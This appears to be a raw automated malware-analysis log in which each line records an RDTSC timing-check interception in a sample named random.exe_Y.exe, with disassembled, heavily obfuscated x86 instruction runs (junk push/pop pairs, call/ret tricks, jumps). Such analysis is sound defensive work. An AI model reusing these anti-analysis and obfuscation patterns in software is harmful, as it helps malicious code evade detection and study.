Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288208 second address: 28820E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2882DB second address: 288330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA5150h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007F3458CA5150h 0x00000014 jg 00007F3458CA5148h 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push edx 0x0000001f jmp 00007F3458CA5159h 0x00000024 pop edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288330 second address: 288341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288341 second address: 28834B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3458CA5146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28834B second address: 28834F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28834F second address: 28837A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jns 00007F3458CA514Bh 0x0000000f lea ebx, dword ptr [ebp+1244CF4Ch] 0x00000015 mov dword ptr [ebp+122D2B3Dh], esi 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f jnl 00007F3458CA5146h 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28837A second address: 288380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288380 second address: 288384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288384 second address: 288388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28842D second address: 288444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 288444 second address: 28844A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 28844A second address: 2884FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jnl 00007F3458CA5146h 0x0000000e popad 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jne 00007F3458CA5154h 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F3458CA5152h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jmp 00007F3458CA5150h 0x0000002a pop eax 0x0000002b mov dword ptr [ebp+122D2250h], ebx 0x00000031 push 00000003h 0x00000033 or dword ptr [ebp+122D2327h], ebx 0x00000039 push 00000000h 0x0000003b push 00000003h 0x0000003d jmp 00007F3458CA5158h 0x00000042 push 8D21A73Fh 0x00000047 pushad 0x00000048 push edx 0x00000049 jo 00007F3458CA5146h 0x0000004f pop edx 0x00000050 jmp 00007F3458CA514Ah 0x00000055 popad 0x00000056 xor dword ptr [esp], 4D21A73Fh 0x0000005d sub ecx, 1292D7E1h 0x00000063 lea ebx, dword ptr [ebp+1244CF57h] 0x00000069 mov edx, dword ptr [ebp+122D2C38h] 0x0000006f xchg eax, ebx 0x00000070 pushad 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2884FC second address: 288502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 29AA7A second address: 29AA9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F3458CA5146h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F3458CA514Ch 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A777D second address: 2A7781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A7E6E second address: 2A7E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A7E72 second address: 2A7E82 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F3458756CA6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A7E82 second address: 2A7E92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F3458CA514Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A8295 second address: 2A8299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A8299 second address: 2A829F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 29FBCF second address: 29FBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A8980 second address: 2A89AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3458CA5155h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F3458CA5146h 0x00000014 jnl 00007F3458CA5146h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A909D second address: 2A90A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A90A1 second address: 2A90AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A920E second address: 2A9212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A9212 second address: 2A921E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A921E second address: 2A9222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A93AC second address: 2A93B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2A9630 second address: 2A963F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC362 second address: 2AC366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC366 second address: 2AC36A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC36A second address: 2AC375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC96D second address: 2AC9D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F3458756CBBh 0x00000010 js 00007F3458756CB5h 0x00000016 jmp 00007F3458756CAFh 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F3458756CB4h 0x00000024 mov eax, dword ptr [eax] 0x00000026 pushad 0x00000027 jmp 00007F3458756CABh 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3458756CACh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC9D5 second address: 2AC9F5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F3458CA514Fh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC9F5 second address: 2AC9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2AC9FB second address: 2AC9FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2ACAFD second address: 2ACB59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3458756CB4h 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007F3458756CB4h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F3458756CB0h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2ACB59 second address: 2ACB64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F3458CA5146h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B3AE2 second address: 2B3AEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnp 00007F3458756CA8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B3AEF second address: 2B3AF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B3C4B second address: 2B3C61 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3458756CAEh 0x00000008 jc 00007F3458756CA6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B3C61 second address: 2B3C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B42BD second address: 2B42C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B42C1 second address: 2B42C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B7C78 second address: 2B7C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B7C7D second address: 2B7C82 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B815B second address: 2B816E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3458756CA8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B816E second address: 2B8172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B8172 second address: 2B817C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3458756CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B82E8 second address: 2B82F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3458CA5146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B9D5A second address: 2B9DBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3458756CB2h 0x0000000f nop 0x00000010 mov edi, ebx 0x00000012 movsx edi, ax 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F3458756CA8h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 xor esi, 04C35200h 0x00000037 push 00000000h 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jnc 00007F3458756CA8h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2B9DBB second address: 2B9DCD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3458CA5148h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BA79F second address: 2BA7A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BB7E1 second address: 2BB845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3458CA514Ch 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F3458CA5148h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 push 00000000h 0x0000002a add dword ptr [ebp+122D3A96h], edi 0x00000030 push edx 0x00000031 jmp 00007F3458CA514Ch 0x00000036 pop edi 0x00000037 push 00000000h 0x00000039 mov si, di 0x0000003c push eax 0x0000003d jmp 00007F3458CA5150h 0x00000042 pop edi 0x00000043 xchg eax, ebx 0x00000044 pushad 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BC1FF second address: 2BC20B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BC20B second address: 2BC20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BCDDF second address: 2BCE6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3458756CA6h 0x0000000a popad 0x0000000b pop edx 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F3458756CA8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F3458756CA8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 00000019h 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 push edi 0x00000046 movsx edi, bx 0x00000049 pop edi 0x0000004a push 00000000h 0x0000004c movsx esi, bx 0x0000004f and edi, dword ptr [ebp+122D5AFCh] 0x00000055 xchg eax, ebx 0x00000056 push ebx 0x00000057 push ebx 0x00000058 pushad 0x00000059 popad 0x0000005a pop ebx 0x0000005b pop ebx 0x0000005c push eax 0x0000005d pushad 0x0000005e jmp 00007F3458756CB8h 0x00000063 push eax 0x00000064 push edx 0x00000065 jng 00007F3458756CA6h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BCB41 second address: 2BCB56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BD9C8 second address: 2BD9CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BD9CC second address: 2BD9D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BE4AB second address: 2BE4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BE4AF second address: 2BE4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007F3458CA5148h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000014h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 js 00007F3458CA5146h 0x0000002a push 00000000h 0x0000002c sub dword ptr [ebp+124666A2h], eax 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push ecx 0x00000036 jmp 00007F3458CA5154h 0x0000003b pop ecx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BE4FC second address: 2BE50F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3458756CA8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BE50F second address: 2BE526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3458CA5153h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BE526 second address: 2BE52A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BEEE2 second address: 2BEEEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3458CA5146h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2BEEEC second address: 2BEF58 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3458756CA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F3458756CA8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 xor edi, dword ptr [ebp+1246F927h] 0x0000002d push 00000000h 0x0000002f mov esi, eax 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F3458756CA8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d push ebx 0x0000004e mov esi, dword ptr [ebp+122D2C2Ch] 0x00000054 pop edi 0x00000055 xchg eax, ebx 0x00000056 push ebx 0x00000057 push ecx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C3043 second address: 2C304D instructions: 0x00000000 rdtsc 0x00000002 js 00007F3458CA514Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C5103 second address: 2C5109 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C5109 second address: 2C510E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C6095 second address: 2C60A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F3458756CA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C60A0 second address: 2C6167 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458CA514Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F3458CA5165h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F3458CA5148h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b jmp 00007F3458CA514Ch 0x00000030 movsx edi, si 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F3458CA5148h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f push ebx 0x00000050 adc bx, 51C7h 0x00000055 pop ebx 0x00000056 pushad 0x00000057 call 00007F3458CA5158h 0x0000005c or dword ptr [ebp+122D2B3Dh], edx 0x00000062 pop ecx 0x00000063 popad 0x00000064 push 00000000h 0x00000066 movzx ebx, dx 0x00000069 xchg eax, esi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F3458CA514Ah 0x00000071 rdtsc
Source: C:\Users\user\Desktop\random.exe_Y.exe	RDTSC instruction interceptor: First address: 2C8F88 second address: 2C9025 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3458756CB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b jmp 00007F3458756CB6h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F3458756CA8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b mov bx, si 0x0000002e push 00000000h 0x00000030 mov ebx, esi 0x00000032 mov dword ptr [ebp+122D1BDEh], edx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ecx 0x0000003d call 00007F3458756CA8h 0x00000042 pop ecx 0x00000043 mov dword ptr [esp+04h], ecx 0x00000047 add dword ptr [esp+04h], 00000014h 0x0000004f inc ecx 0x00000050 push ecx 0x00000051 ret 0x00000052 pop ecx 0x00000053 ret 0x00000054 xchg eax, esi 0x00000055 push esi 0x00000056 jmp 00007F3458756CADh 0x0000005b pop esi 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jne 00007F3458756CACh 0x00000065 rdtsc
